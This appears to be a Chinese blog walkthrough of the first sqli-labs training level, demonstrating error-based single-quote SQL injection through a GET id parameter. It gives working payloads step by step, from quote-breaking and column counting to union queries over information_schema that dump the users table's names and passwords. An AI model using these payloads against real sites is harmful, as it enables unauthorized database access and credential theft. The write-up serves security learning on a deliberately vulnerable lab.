sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

记得把php.in中的转义参数magic_quotes_gpc配置成Off:
sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第1张图片

不然发送的请求参数中的符号会被加上\转义,从而无法直接拼接到SQL语句中去

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第2张图片

第一关提示我们输入ID作为参数和数值
查询id=1:
sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第3张图片

显示了
Your Login name:Dumb
Your Password:Dumb
查询id=1’
sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第4张图片

出现报错,输出的1’拼接成了’1’’ LIMIT 0,1
limit 0,1, 从你的表中的第0个数据开始,只读取一个
查询1’ and ‘1’='2
sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第5张图片

没有结果
查询1’ and ‘1’='1
sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第6张图片

正常返回结果
证明可以成功拼接查询返回结果
查询1’ or 1=1; --+可以返回表中所有数据

SELECT * FROM users WHERE id='1' or 1=1; -- ' LIMIT 0,1

sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第7张图片

但是源代码中的mysql_fetch_array函数每次只从结果集中取得一行作为关联数组:
sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第8张图片

所以每次只会在前端显示一行数据

接下来我们先查询这个表中有多少列数据,先将返回结果按照1,2,3列排序:
查询

1' order by 3;--+

sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第9张图片

都正常返回,证明表中至少有三列数据
查询

1' order by 4;--+

sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第10张图片

没有第4列,说明表中只有三列数据
接下来我们使用union联合查询查找表中的数据
查询

0' union select 1,2,3 --+

sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第11张图片

查询3列的返回数据,在前端显示的只有2和3,意味着我们的注入点只能是2和3

2、猜测数据库

查询当前数据库名称

0' union select 1,database(),3 --+

sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第12张图片

当前数据库名称是security
也可以查看所有数据库的名称:

0' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第13张图片

得到所有数据库的名称:information_schema,challenges,mysql,performance_schema,security,sys

3、猜测数据库表︰

之后查看security数据库下的表名

id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第14张图片

得到security数据库下的表名:emails,referers,uagents,users

4、猜字段

查看users表下面有哪些字段

id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users" --+

sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第15张图片

接下来我们就可以读取用户名和密码的值了

id=0' union select 1,group_concat(username),3 from security.users --+

sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第16张图片

读取密码的值:

id=0' union select 1,group_concat(password),3 from security.users --+

sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)_第17张图片

成功读取数据库中的字段值

你可能感兴趣的:(#,Bugku,XCTF-WEB类写题过程,sql,数据库,mysql,sql注入,web安全)